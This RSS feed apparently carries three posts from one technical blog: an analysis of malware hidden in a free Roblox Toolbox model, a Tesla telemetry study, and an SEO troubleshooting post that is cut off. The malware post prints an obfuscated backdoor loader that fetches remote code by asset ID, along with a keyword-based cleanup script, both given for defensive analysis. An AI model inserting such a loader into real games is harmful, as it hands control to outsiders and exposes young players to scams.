https://dbgmy.life/en Technical articles on Cyber Security, Infrastructure, Development, and Debugging by HEISENBUG. Tue, 03 Nov 2026 00:00:00 GMT https://validator.w3.org/feed/docs/rss2.html https://github.com/jpmonette/feed en https://dbgmy.life/og.jpg https://dbgmy.life/en © 2026 HEISENBUG. All rights reserved. Security Data Analysis Development https://dbgmy.life/en/blog/roblox-toolbox-supply-chain-malware-analysis https://dbgmy.life/en/blog/roblox-toolbox-supply-chain-malware-analysis Tue, 03 Nov 2026 00:00:00 GMT Lately, my 7-year-old daughter has been utterly captivated by Roblox, spending joyous afternoons exploring virtual worlds and laughing at her avatar's playful physics. Watching her pure delight, a thought struck me: *"Instead of just playing games built by others, why don't we build a fun, custom Roblox game together from scratch?"* When I pitched the idea, her eyes went wide with excitement, and she immediately began unraveling her imaginative vision: > *"Dad! Let's make an obstacle tower game where I write the quiz questions! If you slip and fall, you go all the way back to the 1st floor lobby, and if you pick the wrong answer, the bridge collapses under your feet!"* As a software engineer and father, nothing surpasses the joy of **faithfully bringing your child's boundless imagination to life in code without compromise.** We immediately formed a two-person development studio: **Game Director & Creative Lead: My 7-Year-Old Daughter**, and **Engine & Infrastructure Developer: Dad**. She titled the game *"The Tower You Can't Beat If You're Silly"*. I booted up Roblox Studio alongside [Rojo](https://rojo.space/) to manage our code in a modern local Git workflow and began scripting Luau mechanics. However, to benchmark standard Korean obstacle course (Obby) tower dimensions, step intervals, and trap mechanics, I downloaded a popular free reference model from the Roblox Toolbox. That was when my security instincts flared—and the intuition proved completely justified. --- ## 1. A Quiet Weekend Build, and a Peculiar Anomaly Building an obstacle tower requires precise tactile jump physics. If the gap between platforms is too narrow, players can simply sprint across without jumping; if it is too wide, the platform becomes unreachable. The standard Korean tower meta uses horizontal gaps of roughly 6.0 to 6.5 studs paired with vertical rises of 2.0 to 3.75 studs. To study how top community builders structure their stages, I imported a shared reference tower model (`Workspace.Model`) onto our baseplate. From the outside, it looked like a standard 8-stage colorful tower with a translucent front facade (`Transparency = 0.7`) allowing players to preview the obstacles inside. ``` Workspace ├── Baseplate ├── SpawnLocation └── Model (Imported Reference Tower) ├── Part (Walls, Steps, Platforms...) ├── TrussPart (Ladders) └── Bomb (?) ``` Yet, resting quietly in a corner of the 1st floor lobby were two bizarre tools: a pink `Bomb` object and a `Slap` tool. *"Why would a parkour jumping tower come bundled with a bomb weapon?"* Was it just a creator's leftover decorative toy? I began expanding the arrow nodes in the Studio Explorer hierarchy. --- ## 2. Deconstructing the Malware: 10-Layer Deep Nesting and Mimicry The moment I expanded the tree, my internal security alarms triggered. Sophisticated evasion techniques typically seen in enterprise supply-chain attacks were lurking right inside this children's game template. ``` Workspace.Model ├── Bomb │ └── Bomb │ └── Handle │ └── x64 │ └── x65 │ └── x66 │ └── x67 │ └── x68 │ └── x69 │ └── x70 │ └── x71 │ └── x72 │ └── x73 │ ├── Material (Script) ⚠️ │ └── CoreTextureSystem (Script) ⚠️ ├── Slap │ └── Handle │ └── WeldConstraint │ └── AxisOrientation │ └── PartAxis (Script) ⚠️ ├── TextureUtility │ └── cTextureManager │ └── CoreTextureSystem (Script) ⚠️ └── SkyLink (Dont Remove) ⚠️ └── EZConfig (Script) ``` ### 1) Ten Consecutive Empty Dummy Folders (`x64 ... x73`) Average Roblox creators and younger players never expand child nodes beyond two or three levels in the Studio Explorer window. The attacker exploited this human blind spot by nesting empty, non-functional parts across **ten consecutive layers** from `x64` to `x73`, completely blinding visual inspection. ### 2) Camouflaged Naming Spoofing Core Engine Systems The scripts buried at the bottom of the `x73` hierarchy were never named `Virus` or `Backdoor`. Instead, they masqueraded as essential engine features: - `Material` (spoofing native Roblox part materials) - `CoreTextureSystem` (mimicking texture pipeline handlers) - `CoreSkyboxSystem` (faking skybox renderers) - `SkyLink (Dont Remove)` (psychologically manipulating developers to fear deleting it) If an unsuspecting creator glanced at the name, they would assume: *"Oh, that must be an internal engine script needed for lighting or textures."* ### 3) Dynamic Remote Payload Injection (`require`) and Backdoors Peeking inside revealed the signature payload architecture of modern Roblox supply-chain malware: ```lua -- Conceptual pattern of Roblox backdoor scripts local _payload = require(10482910482) -- Dynamic cloud AssetId call getfenv()["\108\111\97\100\115\116\114\105\110\103"](_payload)() ``` 1. **Bypassing Static Scanners via `require(AssetId)`**: Embedding malicious source code directly inside a script triggers automated keyword filters and Studio virus scanners. Attackers circumvent this by hosting their real payload inside a private `ModuleScript` on Roblox's asset library, invoking it dynamically at runtime using only a numeric AssetId. 2. **Server Takeover and Spam Injection**: Once executed on the server (`ServerScriptService`), the backdoor can grant silent administrative privileges (`admin`) to designated external user IDs, spam all connected players with unsolicited GUI popups (begging for game likes or promoting phishing scams), or invoke `TeleportService` to redirect traffic to unauthorized third-party games. --- ## 3. The Security Engineer's Audit: "Is My Host Computer Compromised?" The moment I isolated the script, an immediate question arose for anyone managing a development workstation: **"When opening an untrusted template in Roblox Studio, could my host operating system (macOS/Windows) be compromised?"** The answer is reassuring: **The host developer machine is 100% safe**. This protection stems directly from Roblox's hardened **Luau VM Sandbox Architecture**. ```mermaid flowchart TD subgraph HostOS ["Host Computer (macOS / Windows)"] FS["Local File System (Documents, Keychain)"] Shell["OS Command Line / Shell (zsh, bash)"] Net["Arbitrary Raw Sockets"] end subgraph LuauVM ["Roblox Studio Engine (Luau Sandbox)"] Script["Malicious Script (Bomb, SkyLink)"] DataModel["Game DataModel (Workspace, ServerScripts)"] Http["HttpService (Restricted Domain Requests)"] end Script -.->|"Access Blocked (No io library)"| FS Script -.->|"Execution Denied (No os.execute)"| Shell Script -.->|"Raw Socket Binding Forbidden"| Net Script ==>|"Infects Game DataModel Only"| DataModel ``` ### 1) Complete Absence of File I/O and OS Execution in Luau In standard C Lua, functions like `io.open` or `os.execute` allow interactions with the underlying operating system. In Luau, these entire standard libraries were **eradicated at the bytecode and VM design level**. A Luau script running inside Roblox Studio possesses zero capability to read files from your SSD, inspect SSH keys, or launch system processes. ### 2) Studio Edit Mode Execution Gate Standard `Script` instances inside Roblox Studio do not execute code while in **Edit Mode**. They only spin up when you explicitly click **Play** or **Run**. Inspecting a model in the workspace before testing leaves the malicious payload completely inert—just static text in memory. ### 3) But the Game's DataModel Can Be Destroyed Host safety does not mean game safety. Publishing a game containing these backdoors exposes your players to scams, overwhelms server memory with griefing loops, and risks account bans from Roblox Trust & Safety for distributing malicious software. --- ## 4. Remediation: Automated Auditing and Clean-Room Rebuild Manual deletion invites human error. As engineers, we audited the entire DataModel programmatically. ### 1) Automated DataModel Audit Script Executing this audit snippet via the Studio Command Bar or Rojo environment scanned every single executable container in the project: ```lua -- Audit script to detect and isolate unauthorized scripts across the DataModel local function auditWorkspaceScripts() local suspiciousKeywords = { "CoreTexture", "SkyLink", "x64", "x73", "cTexture", "EZConfig" } local purged = 0 for _, obj in ipairs(game:GetDescendants()) do if obj:IsA("LuaSourceContainer") then -- Inspect Script, LocalScript, ModuleScript local fullName = obj:GetFullName() for _, kw in ipairs(suspiciousKeywords) do if string.find(fullName, kw) then warn(string.format("[🚨 Trojan Detected] %s (%s)", fullName, obj.ClassName)) obj:Destroy() -- Immediate isolation and destruction purged = purged + 1 break end end end end print(string.format("Audit Complete: Purged %d malicious elements.", purged)) end auditWorkspaceScripts() ``` This sweep identified and permanently purged **14 malicious scripts and cheat tools**, including `Bomb`, `Slap`, `Rainbow Carpet`, `admin`, `TextureUtility`, and `SkyLink`. ### 2) Discarding the Contaminated Asset: 100% Original Code Even after scrubbing the scripts, relying on a tainted model felt wrong. I sat down with my daughter: > *"Someone hid sneaky, malicious code inside that free sample tower. Instead of trying to patch someone else's mess, what if we throw it away completely and build our own tower from scratch with pure rainbow colors, exactly how you envisioned it?"* > *"Of course, Dad! It's our game! We should build every single block ourselves!"* We discarded the entire third-party asset into the trash. Using only the extracted physics measurements (stage boxes of 70×70×50 studs, ladder alignments, and disappearing plank timings), we wrote modular, clean Luau systems: ``` src/ ├── server/ │ ├── init.server.luau # Server entry point and spawn handling │ ├── TowerBuilder.luau # Procedural 7-stage pastel rainbow 200-floor tower generator │ ├── TowerGimmicks.luau # Disappearing planks, bounce trampolines, and laser hazards │ ├── FallZone.luau # No-checkpoint fall detection returning players to Stage 1 │ └── VIPItems.luau # Custom rainbow clouds and jump shoes for daughter & Dad ├── client/ │ └── init.client.luau # Ultra-slim non-intrusive corner HUD and quiz toasts └── shared/ └── GameConfig.luau # 14 custom 3D O/X educational quiz gates ``` Zero external dependencies. Zero unvetted scripts. In the 1st floor lobby, custom statues of my daughter and me welcomed players, and every stage featured handmade 3D O/X quiz gates designed and tested by her. --- ## 5. Epilogue: Supply-Chain Security Isn't Just for Enterprises In professional cybersecurity discussions, **Supply-Chain Attacks** often evoke images of state-sponsored APT groups infiltrating multinational CI/CD pipelines, poisoning npm libraries, or compromising open-source codebases. Yet this weekend project demonstrated an inescapable reality: - **Supply-chain risks exist wherever developers consume 'trust'.** - A free 3D asset downloaded by a hobbyist on Roblox Toolbox carries the exact same structural risk as running an uninspected `npm install` or pulling an unverified Docker image. Convenient free templates frequently carry hidden costs. Even in a playful weekend project with my daughter, the foundational engineering principle holds true: **Never blindly trust, always verify (Zero Trust), and true sovereignty over your systems comes only from clean code you understand and own.** Standing beside my daughter on our custom rainbow cloud, watching the game's sunset from the 200th-floor summit, felt infinitely more rewarding than any enterprise security patch release. ]]> https://dbgmy.life/en/blog/teslamate-telemetry-data-analysis-efficiency-vampire-drain https://dbgmy.life/en/blog/teslamate-telemetry-data-analysis-efficiency-vampire-drain Sun, 01 Nov 2026 00:00:00 GMT In my previous post ([Where Does My Car's Data Go? Self-Hosting TeslaMate on a Home NAS with Docker](/en/blog/teslamate-nas-docker-self-hosting)), I documented how I avoided third-party cloud lock-in by hosting an Elixir- and PostgreSQL-based **TeslaMate** telemetry logger on my private home NAS. Over the following months of seasonal commuting and cross-country road trips in my Tesla Model Y (affectionately nicknamed **Tesl-yi**, Model Y RWD with LFP chemistry), my NAS recorded more than **3,200 km of high-resolution drive logs**, **600 kWh of charging sessions**, and **dozens of extended parking states**. Online EV forums are rife with rules of thumb and anecdotal wisdom: > *"Batteries completely melt away in cold weather—but exactly how much range is lost?"* > *"Is Level 2 AC charging inherently more efficient and lossless than DC Fast Charging?"* > *"How much phantom energy does Sentry Mode actually burn overnight?"* > *"Does charging an LFP pack to 100% daily cause measurable battery degradation over 10,000 km?"* As an engineer, relying on intuition or forum rumors was unacceptable. **Armed with raw telemetry data streamed directly from vehicle sensors**, I queried PostgreSQL using Python (`pandas`) and SQL to separate myth from engineering reality. Here are the empirical findings. --- ## 1. Dataset Overview & Analysis Pipeline The raw telemetry analyzed here was captured directly from the vehicle CAN bus and Tesla Streaming API, stored into PostgreSQL running inside a containerized home lab environment: | Telemetry Domain | Dataset Volume | Notes | | :--- | :--- | :--- | | **Total Drive Sessions (Drives)** | **207 sessions** (138 valid drives $\ge$0.5km) | Filtered out short shuttle/parking moves | | **Analyzed Distance (Distance)** | **3,252.1 km** | 80% Expressway, 20% City loops | | **Net Energy Consumed (Net Energy)** | **453.92 kWh** | Net consumed after regenerative braking | | **Total Charging Sessions (Charges)** | **27 sessions** (Total **601.15 kWh** delivered) | 19 Level 2 AC, 5 DC Fast / Supercharger | | **Parked Standby Sessions (Vampire Drain)** | **40 sessions** (**750+ hours total**) | Split between Sentry Active vs Deep Sleep | | **Vehicle Odometer At Capture** | **9,622 km** | Baseline for Battery Health analysis | | **Analytics Stack** | Python 3.12 / pandas / DuckDB | Precision local ETL & statistical modeling | > [!NOTE] > **Data Privacy & Sanitization**: > All geographical coordinates, precise street names, and waypoint IDs have been rigorously sanitized (e.g., replaced with anonymized labels such as `158.8 km Highway Corridor` or `Urban Congested Loop`) in accordance with strict privacy principles. --- ## 2. [Drives] Ambient Temperature vs Efficiency: An Exact 158.8 km Controlled Experiment Range anxiety in cold weather is the most cited concern for EV adoption. However, general trip reports often fail to isolate temperature because other variables—wind speed, traffic flow, elevation gain, cabin occupancy, and cruising speed—vary wildly between runs. While filtering the dataset, I uncovered **two identical highway trips that formed a near-perfect natural experiment**. ### 1) A Controlled Highway Corridor: 20.1°C vs 7.6°C Both trips took place along the exact same **158.8 km southbound highway corridor** at night under nearly identical traffic conditions: | Metric | Sept 20 Trip (Early Autumn / Mild) | Oct 31 Trip (Late Autumn / Cold) | Variance | | :--- | :--- | :--- | :--- | | **Route & Distance** | 158.8 km (Highway Corridor) | 158.8 km (Highway Corridor) | **Identical Route (158.8 km)** | | **Duration / Average Speed** | 1.9 hours / **83 km/h** | 1.9 hours / **85 km/h** | Margin $\pm$2 km/h (Steady cruising) | | **Top Speed** | 114 km/h | 122 km/h | Expressway cruising | | **Outside Temp (Ambient)** | **20.1 °C** | **7.6 °C** | **-12.5 °C (Sharp temp drop)** | | **Net Energy Consumed** | **20.5 kWh** | **23.6 kWh** | **+3.1 kWh (+15.1% energy penalty)** | | **Trip Efficiency (Wh/km)** | **129 Wh/km** (7.75 km/kWh) | **148 Wh/km** (6.75 km/kWh) | **+14.7% consumption increase** | | **Battery Thermal Status** | Normal operating temp | **❄ Snowflake active** | Active pack conditioning & cabin HVAC | The data is remarkably clear: With route geometry, cruising speed (83–85 km/h), and travel time held constant, **a 12.5°C drop in ambient temperature caused a direct 3.1 kWh (+15.1%) increase in consumed energy**. From an automotive physics standpoint, three mechanisms explain this jump: 1. **Air Density & Aerodynamic Drag**: Colder air is denser, requiring significantly more kinetic energy to push a vehicle through at highway speeds ($F_D = \frac{1}{2} \rho v^2 C_D A$). 2. **Internal Battery Resistance**: Lower electrolyte temperature slows lithium-ion migration, increasing internal cell impedance ($I^2R$ resistive losses). 3. **Thermal Management (Heat Pump & PTC)**: Sustaining a comfortable cabin temperature against a 7.6°C exterior and conditioning the high-voltage pack draws continuous electrical load. ### 2) Urban Congestion vs Highway Cruising Efficiency Across all 138 analyzed drives, contrasting driving environments demonstrated distinct efficiency curves: - **Urban Congested Loops (Ø Speed 14.4 km/h, 74 trips)**: - Average consumption: **225.6 Wh/km (4.43 km/kWh)**, median 201 Wh/km. - Frequent stop-and-go acceleration combined with extended cabin climate operation during prolonged idling degraded efficiency. - **Highway / Expressway Cruising (Ø Speed 50.5 km/h, max 122 km/h, 38 trips)**: - Total distance: **2,598.2 km** (80% of total recorded travel). - Average consumption: **132.9 Wh/km (7.52 km/kWh)**, median 132 Wh/km. - Aerodynamic streamlining ($C_D = 0.23$) and regenerative braking yielded outstanding highway efficiency. - **Overall 3,252 km Weighted Net Efficiency**: - **139.6 Wh/km (7.16 km/kWh)**. - Outperforming the official South Korean Ministry of Environment certified rating (`5.1 km/kWh`) by **+40.4%**. --- ## 3. [Charging] AC vs DC Charging Efficiency: The Truth Behind Inverter Losses Common automotive lore suggests that *"Level 2 AC charging is always gentler, cooler, and less wasteful than DC Fast Charging."* However, our empirical telemetry across 27 sessions totaling **601.15 kWh** revealed an unexpected truth: | Charging Method | Sessions | Energy Injected (Meter) | Battery Energy Stored | **Weighted Efficiency** | **Loss Rate (Energy Lost)** | | :--- | :---: | :---: | :---: | :---: | :---: | | **Level 2 AC (Slow)** | 19 | 455.06 kWh | 426.44 kWh | **93.7%** | **6.3% Loss** (28.6 kWh) | | **DC Fast / Supercharger** | 5 | 146.09 kWh | 142.06 kWh | **97.2%** | **2.8% Loss** (4.0 kWh) | | **Combined Total** | **27\*** | **601.15 kWh** | **568.50 kWh** | **94.6%** | **5.4% Loss** (32.7 kWh) | *(\* Including uncategorized sessions)* ### 1) Why DC Fast Charging Loses Less Than Half the Energy In our tests, **DC Fast Charging registered an outstanding 97.2% efficiency (only 2.8% loss)**, while **Level 2 AC charging averaged 93.7% efficiency (6.3% loss)**. The root cause lies in the **On-Board Charger (OBC)**: ``` [ Level 2 AC Charging Path ] Grid 220V AC ──▶ [Vehicle On-Board Charger (AC ➔ DC)] ──▶ High-Voltage Battery Pack └─ Thermal conversion loss in OBC circuitry └─ 12+ hour session keeps vehicle computer & BMS pumps awake [ DC Fast Charging Path ] Commercial Fast Charger ──(High-Voltage Direct Current)──▶ High-Voltage Battery Pack └─ Bypasses vehicle OBC entirely └─ 30-minute session minimizes vehicle computer runtime ``` ### 2) Output Matters: 3 kW vs 7 kW AC Charging Inspecting individual AC sessions uncovered another critical variable—**charging power**: - **2.5 ~ 3.1 kW Portable / Outlet Chargers**: - Over extended 12–13 hour cycles, charging efficiency fell to **90% ~ 92% (8–10% loss)**. When charging at low power, the vehicle’s thermal pumps and gateway computers remain awake for half a day, consuming a fixed baseline wattage that eats into the trickle charge. - **6.3 ~ 6.7 kW Wallbox Chargers**: - Halving the charging duration boosted efficiency into the **94% ~ 99%** bracket. > **💡 Practical Takeaway**: > When charging at home, selecting a dedicated 6–7 kW Wallbox over a 3 kW portable outlet is not merely about speed—it saves **3% to 5% in wasted electrical losses**, translating directly into lower utility bills. --- ## 4. [Parking] The Reality of Vampire Drain: Sentry Mode vs Deep Sleep The silent loss of battery state of charge while parked—often called **Vampire Drain** or Phantom Drain—was tracked across 40 extended parking sessions totaling over 750 hours: | Parking State | Sessions | Average Power Draw | Median Power Draw | Rated Range Loss / Hour | Operating Mode | | :--- | :---: | :---: | :---: | :---: | :--- | | **Awake (Sentry Mode Active)** | 17 | **302.3 W** | **239.9 W** | **1.69 km / hour** | Continuous CV inference & camera recording | | **Deep Sleep (Low Power Standby)** | 23 | **19.2 W** | **8.2 W** (Min 4.8W) | **0.05 ~ 0.08 km / hour** | Ultra-low-power sleep state | ``` [ Hourly Idle Power Comparison ] Sentry Active (Awake) : ████████████████████████████ 240 W Deep Sleep : █ 8.2 W (approx. 1/30th the power!) ``` ### 1) Sentry Mode Active: 240 Watts of Continuous Compute - When Sentry Mode is active, vehicle power draw settles with striking precision between **239.9 W and 240.8 W**. Powering four optical video streams, storage writing, and real-time computer vision inferences requires significant compute. - **Empirical 20-Hour Parking Test**: - `Oct 23, 20.0-hour parking session`: Battery dropped **-7% (4.76 kWh lost, equivalent to 33.5 km of rated range vanished)**. - That equates to roughly **5.76 kWh per day (9.4% of total battery pack capacity)** consumed solely for surveillance. ### 2) Deep Sleep: True Phantom Drain is Practically Zero When the vehicle transitions into Deep Sleep, power consumption drops dramatically: - **3.7-Day (88.8 Hours) Continuous Sleep Test**: - Total energy drained: **Just 638.9 Wh (0.64 kWh)**. - Range loss: **Only 4.5 km** (approx. 50 meters per hour). - Average power draw: **7.3 W**! - **1.3-Day (31 Hours) Continuous Sleep Test**: - Total energy drained: **180 Wh**, average power draw: **5.9 W**! > **💡 Practical Takeaway**: > Tesla’s sleep management architecture is remarkably disciplined. Provided you use a polling-friendly logger like self-hosted TeslaMate that respects sleep backoff algorithms, **a sleeping Tesla sips less power than a standard household LED light bulb (8W)**. Disabling Sentry Mode in secure, CCTV-monitored residential garages can save hundreds of kilowatt-hours annually. --- ## 5. [Longevity] LFP Battery Health After 9,622 km: A Remarkable 0.6% Degradation Finally, let us review the long-term Battery Health telemetry dashboard: With the odometer reading **9,622 km**: | Health Metric | Factory Spec (When New) | Empirical Reading (9,622 km) | Total Variance | | :--- | :--- | :--- | :--- | | **Usable Pack Capacity** | 61.7 kWh | 61.3 kWh | **-377.7 Wh (-0.38 kWh)** | | **Max Ideal Rated Range** | 434.2 km | 430.8 km | **-3.4 km (-0.78%)** | | **Reported Battery Health** | 100.0 % | **99.4 %** | Retaining 99.4% original health | | **Estimated Degradation** | 0.0 % | **0.6 %** | **Only 0.6% loss after 9,622 km** | ### The LFP Voltage Plateau & Calibration Cycles Examining the **'Battery Capacity by Mileage'** graph above reveals an interesting pattern: capacity does not decline in a smooth line. Instead, it **fluctuates between 61.2 kWh and 61.6 kWh**, exhibiting undulating waves. This is a signature trait of Lithium Iron Phosphate (LFP) cells. Unlike Nickel-Cobalt-Manganese (NCM) chemistries whose open-circuit voltage correlates linearly with state of charge, LFP has an exceptionally flat discharge voltage curve. The Battery Management System (BMS) cannot accurately gauge state of charge solely from voltage readings during partial cycles. Charging to 100% allows the BMS to detect the upper voltage knee, recalibrating total pack capacity and causing slight upward adjustments in reported health. Recording an estimated **degradation of just 0.6% and a range loss of only 3.4 km after nearly 10,000 km of driving** demonstrates the exceptional real-world resilience of modern LFP architectures. --- ## 6. Epilogue: The Power of Owning Your Data Reflecting on this 3,200 km telemetry exploration, the most empowering revelation was that **empirical data dispels speculative anxiety**: - A 15% winter efficiency penalty is not an unpredictable catastrophe; it is a quantifiable physical metric that can be modeled and budgeted into trip planning. - Understanding the 6% AC charging loss and the inefficiency of 3 kW trickle charging reshapes how we approach daily home charging routines. - Observing the stark contrast between 240 W Sentry consumption and 8 W Deep Sleep enables intentional, cost-effective decisions about vehicle security. In an era where modern automobiles are essentially computers on wheels, retaining data sovereignty and debugging our digital assets transforms passive ownership into active engineering discovery. ]]> https://dbgmy.life/en/blog/nextjs-cloudflare-pages-seo-adsense-troubleshooting https://dbgmy.life/en/blog/nextjs-cloudflare-pages-seo-adsense-troubleshooting Fri, 23 Oct 2026 00:00:00 GMT --- ## **1. Executive Summary: The 5 Root Causes & Engineering Fixes** Here is the complete breakdown of the five bottlenecks that were choking organic search indexing and blocking Google AdSense verification: | Priority | Symptom | Root Cause Discovered | Engineering Fix Applied | | :---: | :--- | :--- | :--- | | **1** | **AdSense `ads.txt Not Found` persists** | Cloudflare **`Bot Fight Mode`** served CAPTCHAs (`managed_challenge`) to `GoogleAdSenseInfeed`, and **`AI Bot Protection`** blocked (`403`) `GoogleOther` | • Disabled Free-plan `Bot Fight Mode`
• Allowed crawlers in AI Bot Policy & disabled `robots.txt` injection
• Added WAF `Skip` rule for `/ads.txt` and Google ASN (`15169`) | | **2** | **Zero organic search referrals & split authority** | Both `dbgmy.life` and `www.dbgmy.life` served `HTTP 200` without redirecting; `NEXT_PUBLIC_SITE_URL` pointed to `www` while AdSense/GSC used `non-www` | • Unified `siteConfig.url` & Cloudflare Pages env vars to `https://dbgmy.life`
• Added `301` redirect from `www.dbgmy.life/*` to `https://dbgmy.life/:splat` | | **3** | **High risk of AdSense 'Low Value Content' rejection** | 16 full articles generated 90+ `/tags/[tag]` listing pages, making over 80% of crawled URLs thin 1-post tag pages | • Added `robots: { index: false, follow: true }` to `/tags/*`, `/en/tags/*`, `/blog/search`
• Pruned `sitemap.xml` from 130+ URLs down to 30 high-value pages | | **4** | **Missing JSON-LD structured data in static HTML** | `JsonLdSchema` used `"use client"` + `strategy="afterInteractive"`, omitting schema markup from initial server HTML | • Converted `JsonLdSchema` to a pure Server Component rendering `